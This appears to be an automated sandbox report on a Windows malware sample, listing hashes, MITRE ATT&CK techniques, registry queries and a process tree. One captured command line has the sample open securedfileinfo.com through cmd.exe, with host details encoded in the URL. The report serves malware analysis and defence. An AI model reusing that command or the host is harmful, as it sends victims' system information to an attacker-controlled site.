27cb0d0af3d69cb75c21e4c2e52d3c120a033e85e122025113bc43d30303a18a

Analysis

max time kernel
189s
max time network
194s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
27/11/2022, 15:57

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General

Target

27cb0d0af3d69cb75c21e4c2e52d3c120a033e85e122025113bc43d30303a18a.exe
Size

143KB
MD5

fca6afce7f72f6bcecbfc44a32301d38
SHA1

53445fc1056b33c36dc0fa35a96a5ab466f96aff
SHA256

27cb0d0af3d69cb75c21e4c2e52d3c120a033e85e122025113bc43d30303a18a
SHA512

77893f6aefc49aeef356bb51110e4e27781651bc3fad818f5527a249e24e9a0e5e72266c6d1d1ac2f0d54c8cd374f36bbc33f1e5f9b24cdd1f44d9667d943dc9
SSDEEP

3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45DjK:pe9IB83ID5fK

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	27cb0d0af3d69cb75c21e4c2e52d3c120a033e85e122025113bc43d30303a18a.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4612	msedge.exe
4612	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
1884	msedge.exe
1884	msedge.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1452	27cb0d0af3d69cb75c21e4c2e52d3c120a033e85e122025113bc43d30303a18a.exe
1884	msedge.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1452	27cb0d0af3d69cb75c21e4c2e52d3c120a033e85e122025113bc43d30303a18a.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1452 wrote to memory of 4892	1452	27cb0d0af3d69cb75c21e4c2e52d3c120a033e85e122025113bc43d30303a18a.exe	89
PID 1452 wrote to memory of 4892	1452	27cb0d0af3d69cb75c21e4c2e52d3c120a033e85e122025113bc43d30303a18a.exe	89
PID 1452 wrote to memory of 4892	1452	27cb0d0af3d69cb75c21e4c2e52d3c120a033e85e122025113bc43d30303a18a.exe	89
PID 4892 wrote to memory of 1884	4892	cmd.exe	93
PID 4892 wrote to memory of 1884	4892	cmd.exe	93
PID 1884 wrote to memory of 4456	1884	msedge.exe	95
PID 1884 wrote to memory of 4456	1884	msedge.exe	95
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4012	1884	msedge.exe	99
PID 1884 wrote to memory of 4612	1884	msedge.exe	100
PID 1884 wrote to memory of 4612	1884	msedge.exe	100
PID 1884 wrote to memory of 4776	1884	msedge.exe	101
PID 1884 wrote to memory of 4776	1884	msedge.exe	101
PID 1884 wrote to memory of 4776	1884	msedge.exe	101
PID 1884 wrote to memory of 4776	1884	msedge.exe	101
PID 1884 wrote to memory of 4776	1884	msedge.exe	101
PID 1884 wrote to memory of 4776	1884	msedge.exe	101
PID 1884 wrote to memory of 4776	1884	msedge.exe	101
PID 1884 wrote to memory of 4776	1884	msedge.exe	101
PID 1884 wrote to memory of 4776	1884	msedge.exe	101
PID 1884 wrote to memory of 4776	1884	msedge.exe	101
PID 1884 wrote to memory of 4776	1884	msedge.exe	101
PID 1884 wrote to memory of 4776	1884	msedge.exe	101
PID 1884 wrote to memory of 4776	1884	msedge.exe	101
PID 1884 wrote to memory of 4776	1884	msedge.exe	101
PID 1884 wrote to memory of 4776	1884	msedge.exe	101

C:\Users\Admin\AppData\Local\Temp\27cb0d0af3d69cb75c21e4c2e52d3c120a033e85e122025113bc43d30303a18a.exe
"C:\Users\Admin\AppData\Local\Temp\27cb0d0af3d69cb75c21e4c2e52d3c120a033e85e122025113bc43d30303a18a.exe"
1⤵
- Checks computer location settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1452
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=5303327^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt31^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4892
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=5303327&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt31|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p1
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1884
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffa610846f8,0x7ffa61084708,0x7ffa61084718
      4⤵
      PID:4456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2136,9887538581014392460,12675549330604385041,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2184 /prefetch:2
      4⤵
      PID:4012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2136,9887538581014392460,12675549330604385041,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2136,9887538581014392460,12675549330604385041,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3228 /prefetch:8
      4⤵
      PID:4776
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9887538581014392460,12675549330604385041,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3828 /prefetch:1
      4⤵
      PID:4360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,9887538581014392460,12675549330604385041,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3888 /prefetch:1
      4⤵
      PID:968

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:752

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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